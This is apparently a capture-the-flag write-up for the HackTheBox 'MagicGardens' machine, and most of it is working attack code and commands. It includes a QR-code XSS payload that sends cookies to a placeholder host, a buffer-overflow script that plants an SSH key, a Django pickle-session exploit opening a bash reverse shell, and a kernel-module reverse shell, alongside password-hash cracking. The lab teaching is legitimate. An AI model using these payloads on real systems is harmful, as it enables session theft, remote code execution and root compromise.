HackTheBox MagicGardens Writeup
Explore the fundamentals of cybersecurity in the MagicGardens Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.9 magicgardens.htb
Script to add hosts automatically#
ip="10.10.11.9"
domain="magicgardens.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV magicgardens.htb
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.063s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp filtered smtp
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Magic Gardens
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Foothold via XSS#
- Go to http://magicgardens.htb and register.
- Navigate to http://magicgardens.htb/profile/?tab=subscription, click “Upgrade”, and select
honestbank.htb. - Capture the request, modify the “Bank” parameter to your local IP (YOUR_IP):8000, and start a local server:
python -m http.server 8000
- Test the original server’s response:
curl http://honestbank.htb/api/payments/
- Simulate a POST request:
curl http://honestbank.htb/api/payments/ -X POST -d '{"cardname":"sun", "cardnumber":"12345678901"}'
- Close the server and run a Flask server:
from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/api/payments/', methods=['POST'])
def handle_payment():
req_json = request.get_json()
req_json['status'] = "200"
print(req_json)
return jsonify(req_json)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Intercept the request, set
bank=YOUR_IP:8000, and forward requests with Burp. Disable intercept refresh the page and buy a flower with the vip subscription.Extract and scan the QR code using
zbartools like qrscan.
QR content:
2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.pwn@pwn.com
- Replace
vpn-ipand QR ID in the payload and generate a malicious QR code:
Server to retrive the coockies:
python -m http.server 8000
import qrcode
data = '''2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://vpn-ip:8000/?cookie="+btoa(document.cookie);</script><p>'''
qr = qrcode.QRCode(box_size=10, border=4)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save("evilqr.png")
- Send the malicious QR code in response to the message received from Morty after buying a flower. Once you get the response, decode the Base64-encoded cookie:
echo -n "Base64 of the Cookies? "; read payload
echo $payload | base64 -d
- Use the cookie
sessionidin your browser and access:
http://magicgardens.htb/admin/store/storeuser/morty/change/
You will find the hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=.
Brute Force the Hash#
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 10000 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
You will find the credentials for jonasbrothers.
To SSH into the target as Morty, use the following command:
ssh morty@magicgardens.htb
Discovering Harvest Buffer Overflow#
Target Machine:
- Start HTTP server on port 8008:
cd /
python3 -m http.server 8008
Local Machine:
- Download and prepare
harvestbinary:
wget http://magicgardens.htb:8008/usr/local/bin/harvest
chmod +x ./harvest
sudo ./harvest server
Testing and Exploitation:#
Initial Testing:
- Send test payload:
echo "test" | nc 127.0.0.1 1337 - Expected result:
[x] Handshake error - Send correct version:
echo "harvest v1.0.3" | nc 127.0.0.1 1337 - This indicates a successful handshake.
- Send test payload:
Reversing and Exploitation:
- Vulnerability observed in
strcmpfunction not limiting buffer size. - Monitor file operations:
strace -t -e trace=openat ./harvest server -l save.txt - Buffer Overflow Attack Script:
import socket server_address = ('::1', 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = b'A'*65500 s.send(data) - Generate and use a pattern to accurately target memory:
python -c "from pwn import *; open('bof.txt','w').write(cyclic(65500).decode())" - Use the generated pattern:
import socket server_address = ('::1', 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) with open('bof.txt', 'rb') as f: data = bytearray(f.read()) s.send(data[:65372] + b"/tmp/name.txt") s.close() - Check for successful exploit:
cat /tmp/name.txt - Find the pattern offset:
python -c "from pwn import *; print(cyclic_find(b'daaa'))" - The offset identified (
12) is crucial for crafting an effective exploit.
- Vulnerability observed in
From Morty to Alex: Buffer Overflow in Harvest v1.0.3#
Generate the SSH key on your local machine
ssh-keygen -f ./key
This will generate a key pair and save it as ./key (private key) and ./key.pub (public key).
Display the public key on your local machine
cat ./key.pub
Send a message to the vulnerable service on the target
echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337
Open a Python REPL on the target
python3
Paste the following code into the Python REPL and adjust the SSH Public key (key) as needed:
import socket
server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = bytearray(b'\n' * 65403)
key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEICRuVTVFybA8QCIqNV+IU2oYS8kDu9W/ASXOkwHUxw e@Arch'
replace = b"/home/alex/.ssh/authorized_keys"
sendData = data[:65372] + replace
sendData[12:12 + len(key)] = key.encode()
s.send(sendData)
SSH into the target using the generated private key
ssh -i ./key alex@magicgardens.htb
Once connected, read the contents of the files
cat /home/alex/user.txt
cat /var/mail/alex
We get
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
Unzip the zip#
On Your Local Machine
Make sure everything is on one line or it will not work with the read command
echo -en "Zip Content? "; read zip
echo $zip | base64 -d > auth.zip
zip2john auth.zip > auth.hash
john --wordlist=/usr/share/dict/rockyou.txt auth.hash
john auth.hash --show
Unzip and Read the Contents:
unzip auth.zip
cat htpasswd
Brute Force the Hash#
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
https://github.com/Syzik/DockerRegistryGrabber
git clone https://github.com/Syzik/DockerRegistryGrabber
cd DockerRegistryGrabber
python drg.py https://magicgardens.htb -U AlexMiles -P diamonds --dump magicgardens.htb
It will take a while; once finished, proceed to extract all registers.
cd magicgardens.htb
for file in $(zgrep -la morty *.tar.gz); do
tar -xzf "$file"
done
cat ./usr/src/app/.env
Save this script in your local machine as exploit.py. It generates a malicious session to execute a reverse shell.
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
import base64
import subprocess
import os
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
def get_tun0_ip():
return subprocess.check_output("ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True).decode().strip()
def generate_reverse_shell(ip, port=9001):
return base64.b64encode(f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1'".encode()).decode()
class CreateTmpFile(object):
def __reduce__(self):
return (subprocess.call, (['bash', '-c', f'echo {generate_reverse_shell(get_tun0_ip())} | base64 -d | bash'],))
def create_malicious_session():
return signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies')
def set_session_cookie(session_id):
requests.get("http://magicgardens.htb/admin/login/?next=/admin/", cookies={'sessionid': session_id})
def curl_with_session_cookie(session_id):
os.system(f"curl -b 'sessionid={session_id}' http://magicgardens.htb/admin/login/?next=/admin/")
if __name__ == "__main__":
session_cookie = create_malicious_session()
set_session_cookie(session_cookie)
curl_with_session_cookie(session_cookie)
Note: The exploits require the Django package (pip install django==3.2) to work. The latest version (5.1.2) does not include django.contrib.sessions.serializers.
- Make sure you have a listener ready:
nc -lvnp 9001
- Run the Python exploit:
python exploit.py
Your listener is now connected to the Docker container inside the target.
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Privilege Escalation Using Linux Capabilities#
Check Current Linux Capabilities#
You can check your current capabilities using capsh. Here’s an example output:
capsh --print
Example Output:#
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
You can learn more about Linux capabilities and their privilege escalation potential here.
Kernel Module: Reverse Shell#
The following reverse-shell.c code is an example of a loadable kernel module (LKM) that spawns a reverse shell:
Code: reverse-shell.c#
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile#
Below is the corresponding Makefile for compiling the kernel module:
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) clean
All in one command#
Local (Listener):
nc -lp 12345 > reverse-shell.ko
Ssh (Compile, Send File):
ssh -i ./key alex@magicgardens.htb
cd /tmp
cat << EOF > reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF
echo -e "obj-m += reverse-shell.o\nall:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) modules\nclean:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) clean" > Makefile
make
cat reverse-shell.ko > /dev/tcp/<vpnip>/12345
Local:
Start a Python HTTP Server: Host the
reverse-shell.kofile so it can be downloaded by the container:python3 -m http.server 8000Set Up a Netcat Listener: Open another terminal and start a listener to catch the reverse shell:
nc -lvnp 4444
Target Container:
- Download the Kernel Module:
Use
wgetto fetch thereverse-shell.kofile from your local machine:
wget http://<your-local-ip>:8000/reverse-shell.ko
- Load the Kernel Module: Insert the module to trigger the reverse shell:
insmod reverse-shell.ko
- Access the root flag: Once the reverse shell is established, you can execute commands on the target machine. For example, retrieve the root flag:
cat /root/root.txt